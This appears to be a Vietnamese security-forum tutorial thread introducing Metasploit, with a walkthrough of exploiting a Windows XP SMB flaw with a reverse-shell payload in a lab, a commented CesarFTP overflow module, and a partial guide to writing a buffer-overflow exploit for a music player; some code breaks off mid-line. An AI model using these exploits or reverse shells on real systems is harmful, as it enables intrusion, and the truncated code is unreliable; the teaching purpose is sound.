Giới thiệu Metasploit

Thảo luận trong 'Tools' bắt đầu bởi ping, 19/06/13, 11:06 AM.

  1. ping

    ping VIP Members

    Tham gia: 19/06/13, 09:06 AM
    Bài viết: 102
    Đã được thích: 50
    Điểm thành tích:
    48
    I. Giới thiệu về MSF

    1. MSF là gì?
    MSF là một framework mã nguồn mở, ban đầu được phát triển với mục đích cung cấp các thông tin về các lỗ hổng bảo mật, hỗ trợ để thử nghiệm các xâm nhập hệ thống (penetration testing: pen-testing ). Ban đầu MSF được viết bằng ngôn ngữ Perl, nhưng từ phiên bản 3.0 trở đi MSF được viết lại toàn bộ bằng Ruby, và được bổ sung thêm các công cụ khác trong nghiên cứu bảo mật như các công cụ thu thập thông tin, fuzzing, scanner ..

    2. MSF v3.3
    Phiên bản mới nhất hiện nay là 3.3 hỗ trợ 421 exploit modules, 237 auxility modules, 195 payload modules

    3. Cài đặt và giao diện
    Download MSF tại địa chỉ: www.metasploit.com
    Tương tác với MSF: Có 2 cách để làm việc với metasploit là thông qua giao diện console và qua giao diện web.
    • a. mfsconsole
    • b. Msfweb


    II. Các chức năng chính của MSF

    1. Exploits
    Đây là chức năng chính của MSF, giúp ta thử nghiệm khai thác các lỗ hổng phần mềm. Mỗi một module cung cấp một phương thức khai thác, và được phân loại rõ ràng đối với từng hệ điều hành cũng như phiên bản phần mềm. Ta ví dụ khai thác một lỗi cụ thể. Từ giao diện web của MSF chọn Exploits
    [​IMG]

    Trong cửa sổ các Exploit modules, chọn một exploit ta muốn thử nghiệm khai thác. Ví dụ ở đây ta thử nghiệm khai thác lỗi Microsoft Server Service Relative Path Stack Corruption khá phổ biến của winXP SP2.

    [​IMG]
    Sau đó ta vào cửa sổ chọn target (phiên bản của hệ điều hành hoặc phần mềm mục tiêu mà ta muốn khai thác)
    [​IMG]

    Chọn target là Automatic Targeting (nếu không rõ phiên bản target). Tiếp theo là chọn shellcode(Payload) muốn chèn vào, chọn shellcode windows/shell_reverse_tcp

    [​IMG]

    Sau khi chọn shellcode ta vào chỉnh các thông số cho exploit.

    [​IMG]

    Thông thường ta chỉ quan tâm đến Standard Option. Đối với mã khai thác này ta có các Option:
    RHOST: remote host - địa chỉ host mà ta muốn khai thác
    RPORT: remote port - Exploit này được khai thác qua giao thức SMB, nên đây sẽ là cổng của SMB
    EXITFUNC: cách kết thúc trong shellcode
    LHOST: local host address
    LPORT: local port
    Ví dụ ở đây ta có ip của target cần thử nghiệm khai thác là 192.168.46.129

    Các Adventure Option để mặc định. Sau khi điền đủ thông số vào các option yêu cầu, chọn Lauch Exploit để khai thác
    Nếu thành công ta sẽ vào được cửa sổ command-line. Đánh lệnh ipconfig để kiểm tra

    [​IMG]

    Rõ ràng ở đây sau khi chạy mã khai thác ta đã chạy được chế độ cmd của target có ip là 192.168.46.128

    2. Auxiliaries
    Đây là chức năng mới được bổ sung từ phiên bản v3.0, bổ sung các module cho việc tìm kiếm, thu thập thông tin, thậm chí là dò tìm lỗ hổng (fuzzing) với các phần mềm.

    3. Payloads
    Cung cấp các mã khai thác với các tùy chọn về ngôn ngữ (Ruby, C++, …), cách mã hóa, cách thực thi, …

    [​IMG]

    Mỗi payload là một shellcode có tác dụng khác nhau. Ví dụ từ danh sách payloads ta chọn payload Windows Execute Command để tạo một shellcode được viết bằng ngôn ngữ C thực hiện lệnh calc trong DOS, sau đó kết thúc tiến trình

    [​IMG]

    Sau khi điền đầy đủ các options ta chọn Generate để tạo shellcode

    [​IMG]

    Kết qua ta nhận được một xâu (String) chứa mã hex của shellcode.

    4. Console
    Giao diện console của MSF
    - Là giao diện cung cấp đầy đủ tất cả chức năng của MSF
    - Hỗ trợ một số lệnh DOS
    - Khởi động nhanh, tìm kiếm nhanh, hỗ trợ đánh lệnh thông minh bằng TAB

    Một số lệnh hay dùng
    • o ping : lệnh DOS
    • o ? : giống help
    • o show : dùng để xem các module (ví dụ show exploits | show payloads |…) . Ngoài ra khi ở trong một exploits còn có show options, show targets, show advanced
    • o search xxx : tìm kiếm với pattern xxx
    • o info : xem thông tin chi tiết một module cụ thể
    • o use : sau khi quyết định dùng module nào ta sử dụng lệnh use để vào module đó
    • o connect ip_address port: kết nối tới một remote host, tương tự telnet, netcat
    • o set option value: thiết lập cấu hình cho các options và settings của module đang làm việc.
    • o check : kiểm tra xem target có thể bị khai thác với module hiện tại không. Chỉ sử dụng với các exploit có viết method check() trong source
    • o setg : thiết lập các giá trị cho các biến toàn cục. ví dụ :
    • setg LHOST 192.168.1.101
    • o exploit/run : sử dụng exploit cho exploit module, sử dụng run cho auxiliary module
    • o back : quay lại mode trên. Ví dụ :
    • msf auxiliary(ms09_001_write) > back
    • msf >
    • o resource file : chạy các lệnh được lưu trong file
    • o irb : chuyển sang chế độ ruby mode - cho phép thực hiện các lệnh như ruby
    • o sessions : xem các sessions đang được thiết lập
    • o session –i id : sử dụng session theo ID
    • o ---------------------------- CÁC LỆNH KHÁC --------------------------------
    • o banner : hiện các banner của metasploit
    • o color : bật tắt màu
    • o cd : thay đổi thư mục làm việc hiện tại
    • o exit : exit the console


    5. Sessions
    Hiện thông tin các phiên làm việc hiện tại.
    Ví dụ trong khai thác lỗi Microsoft Server Service Relative Path Stack Corruption ở trên ta chọn payload là windows/shell_reverse_tcp (Connect back to the attacker, Spawn a piped command shell) thì khi thực hiện khai thác, shellcode sẽ tạo một đường ống lệnh với target (hay còn gọi là một session ). Khi đó ta có thể xâm nhập trở lại target bất cứ lúc nào mà không cần khai thác lại. Để xâm nhập lại ta chỉ cần chọn mục Session

    [​IMG]

    6. Options
    Tùy chọn giao diện

    7. About

    III. Viết exploit cho MSF
    1. Giới thiệu về ngôn ngữ Ruby
    Là ngôn ngữ hướng đối tượng. Đặc điểm nổi bật nhất là Ruby không hỗ trợ các kiểu dữ liệu cơ bản, mà chỉ hỗ trợ các đối tượng bao kiểu dữ liệu cơ bản. ví dụ: Integer, String, Float, …
    2. Cấu trúc một exploit trong MSF

    Để hiểu một cấu trúc một exploit ta ví dụ mã khai thác của cesar ftp 0.99g

    Mã:
    #Chú thích bắt đầu với #
    ##
    # $Id: cesarftp_mkd.rb 7853 2009-12-14 19:04:40Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to 
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    #Sử dụng thư viện framework core
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote  #Khai báo lớp Metasploit3 kế thừa lớp Msf::Exploit::Remote
    
         Rank = AverageRanking
    
    #Do khai thác chương trình Cesar FTP qua giao thức FTP nên cần cài đặt module Msf::Exploit::Remote::Ftp
         include Msf::Exploit::Remote::Ftp
    
    #Phương thức khởi tạo dùng để cài đặt các thông tin về lỗ hổng
         def initialize(info = {})
              super(update_info(info,    
        'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',   #Tên, hiển thị trong giao diện Web
        'Description'    => %q{   #Miêu tả về lỗi
            This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
                    
            You must have valid credentials to trigger this vulnerability. Also, you 
            only get one chance, so choose your target carefully.
        },
        'Author'         => 'MC',   #tên của tác giả lỗ hổng
        'License'        => MSF_LICENSE,   #loại License
        'Version'        => '$Revision: 7853 $',
        'References'     =>   #Các thông tin tham khảo về lỗ hổng
            [
                [ 'CVE', '2006-2961'],
                [ 'OSVDB', '26364'],
                [ 'BID', '18586'],
                [ 'URL', 'http://secunia.com/advisories/20574/' ],
            ],
        'Privileged'     => true,
        'DefaultOptions' =>
            {
                'EXITFUNC' => 'process',
            },
        'Payload'        =>
            {
                'Space'    => 250,   #Dung lượng tối đa cho shellcode
                'BadChars' => "\x00\x20\x0a\x0d",   #Các kí tự cấm trong shellcode
                'StackAdjustment' => -3500,   
            },
        'Platform'       => 'win',
        'Targets'        => 
                      #Danh sách các target và các địa chỉ trả về
            [
                [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
                [ 'Windows XP SP2/SP3 English',    { 'Ret' => 0x774699bf } ], # jmp esp, user32.dl
                #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
                #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
                [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
            ],
        'DisclosureDate' => 'Jun 12 2006',
        'DefaultTarget'  => 0))
              end
    
    
    #Phương thức check có thể có hoặc không, và sẽ được thực hiện khi gọi lệnh check trong MSF
    #Thường dùng để kiểm tra target có thể khai thác được hay không
         def check
        connect
        disconnect    
        
        if (banner =~ /CesarFTP 0\.99g/)   #kiểm tra banner được trả về từ server
            return Exploit::CheckCode::Vulnerable   #server có thể khai thác
        end
            return Exploit::CheckCode::Safe   #server không khai thác được
         end
        
    
    #Phương thức này được gọi khi thực hiện lệnh exploit trong MSF
         def exploit
        connect_login   #sử dụng hàm login FTP
    
        sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)  #bộ đệm
        sploit  Cấu trúc một exploit là :
    •    header and some dependencies 
    o    Some comments about the exploit module 
    o    require ‘msf/core’ 
    •    class definition 
    •    includes 
    •    “def” definitions : 
    o    initialize 
    o    check (optional) 
    o    exploit 
    
    [B]3.    Viết mã exploit với MSF[/B]
    Ví dụ khai thác lỗ hổng phần mềm Easy Music Player v1.0.0.2
    •    Tạo file PoC.wav
    
        [CODE]#!/usr/bin/perl
        my $A = "\x41" x 4500;
        my $Vidu = "Vidu";        
        open(myfile,'>> PoC.wav');
        print myfile $A.$Vidu;
    • Thông tin lỗi

    [​IMG]

    Như vậy, mục đích của ta là sẽ viết một module exploit để MSF tự động tạo ra một file poc.wav mà khi được mở bởi Easy Music Player sẽ tự động thực thi đoạn shellcode mà ta mong muốn.

    Đầu tiên ta điền vào mẫu mã khai thác các thông tin cơ bản vào trường info={}

    Mã:
    class Metasploit3 < Msf::Exploit::Remote
        #include 
    
        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'Easy Music Player v.1.0.0.2',   #tên
                'Description'    => %q{Buffer Overflow},   #miêu tả về lỗi
                'Author'         => 'mrDo',   #my nick name 
                'Version'        => 'v1.0.0.2', #phiên bản 
                'Payload'        =>   #thông tin này sẽ được sử dụng để tạo shellcode
                    {
                        'Space'    => 1000,
                        'BadChars' => "\x00",
                    },
                'Targets'        =>  
                    [
                        [‘ Easy Music Player v1.0.0.2’, { 'Ret' => 0x10020758 } ],
                    ],
                'DefaultTarget' => 0))
        end
    
    
    #phương thức exploit
        def exploit
            ….
        end
    
    end

    Do exploit này sẽ tạo một file poc.wav nên ta sẽ sử dụng module Msf::Exploit::FILEFORMAT
    include Msf::Exploit::FILEFORMAT

    Trong quá trình phân tích lỗi ta có được xâu gây tràn stack không bị giới hạn bởi kí tự nào trừ kí tự 0x00 nên ta sẽ để trường ‘BadChars’ trong mục ‘Payload’ của hash info là “0x00”

    Phương thức exploit là phương thức sẽ được gọi khi thực hiện lệnh exploit trong MSF. Ta sẽ viết phương thức đó như sau:
    Mã:
        def exploit
            head= 'A'*1020   #tạo 1020 kí tự A
            head
     
    Last edited by a moderator: 15/09/14, 04:09 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. helioit

    helioit W-------

    Tham gia: 01/11/13, 11:11 PM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    Rất hữu ích
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. trandinhhong

    trandinhhong W-------

    Tham gia: 08/08/13, 05:08 PM
    Bài viết: 9
    Đã được thích: 0
    Điểm thành tích:
    6
    em chỉ biết lấy code người ta về rồi đánh thôi, chứ nhìn vào đống code sợ loạn mất.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan